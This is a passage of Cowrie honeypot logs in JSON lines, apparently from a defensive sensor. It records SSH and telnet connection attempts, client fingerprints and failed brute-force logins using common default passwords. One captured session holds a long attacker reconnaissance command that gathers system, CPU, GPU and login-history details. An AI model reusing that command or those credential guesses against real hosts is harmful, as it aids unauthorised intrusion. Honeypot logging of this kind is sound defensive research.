f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.484192Z","src_ip":"172.190.216.105","session":"4f0e696ed70e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.603947Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.606622Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.609412Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.611937Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.614601Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.618288Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.620871Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.623768Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.626675Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.630192Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.633262Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.723372Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:26.806658Z","src_ip":"91.92.40.4","session":"f61f9449157a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:32.165863Z","src_ip":"172.190.216.105","session":"4f0e696ed70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35196,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bf65efaedbd","protocol":"ssh","message":"New connection: 160.187.174.22:35196 (159.203.135.109:22) [session: 4bf65efaedbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:48.052861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:48.058368Z","src_ip":"160.187.174.22","session":"4bf65efaedbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:48.310694Z","src_ip":"160.187.174.22","session":"4bf65efaedbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:49.062817Z","src_ip":"160.187.174.22","session":"4bf65efaedbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:50.322097Z","src_ip":"160.187.174.22","session":"4bf65efaedbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.5439293384552,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:43:50.923256Z","src_ip":"107.6.151.170","session":"6b2df2cd3267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51266,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f7e1ff85050","protocol":"ssh","message":"New connection: 160.187.174.22:51266 (159.203.135.109:22) [session: 5f7e1ff85050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:17.025514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:17.038243Z","src_ip":"160.187.174.22","session":"5f7e1ff85050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:17.256768Z","src_ip":"160.187.174.22","session":"5f7e1ff85050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:18.213682Z","src_ip":"160.187.174.22","session":"5f7e1ff85050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:19.451475Z","src_ip":"160.187.174.22","session":"5f7e1ff85050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.03013062477112,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:23.573692Z","src_ip":"170.64.224.25","session":"4f0cab65052c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54580,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5bd7e86bf2","protocol":"telnet","message":"New connection: 170.64.224.25:54580 (159.203.135.109:23) [session: 2c5bd7e86bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:30.431687Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":61130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cfa92b5cfcd","protocol":"ssh","message":"New connection: 43.160.200.19:61130 (159.203.135.109:22) [session: 3cfa92b5cfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:30.600778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:30.605464Z","src_ip":"43.160.200.19","session":"3cfa92b5cfcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:30.852972Z","src_ip":"43.160.200.19","session":"3cfa92b5cfcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"443321","message":"login attempt [root/443321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:31.867719Z","src_ip":"43.160.200.19","session":"3cfa92b5cfcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:33.115467Z","src_ip":"43.160.200.19","session":"3cfa92b5cfcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43052,"dst_ip":"159.203.135.109","dst_port":22,"session":"22670bba598a","protocol":"ssh","message":"New connection: 160.187.174.22:43052 (159.203.135.109:22) [session: 22670bba598a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:45.578762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:45.582912Z","src_ip":"160.187.174.22","session":"22670bba598a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:45.853299Z","src_ip":"160.187.174.22","session":"22670bba598a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:46.581357Z","src_ip":"160.187.174.22","session":"22670bba598a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:44:47.926426Z","src_ip":"160.187.174.22","session":"22670bba598a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":6402,"dst_ip":"10.17.0.5","dst_port":22,"session":"51dab10c8e25","protocol":"ssh","message":"New connection: 103.176.90.41:6402 (10.17.0.5:22) [session: 51dab10c8e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:00.796365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:00.798961Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:00.881301Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
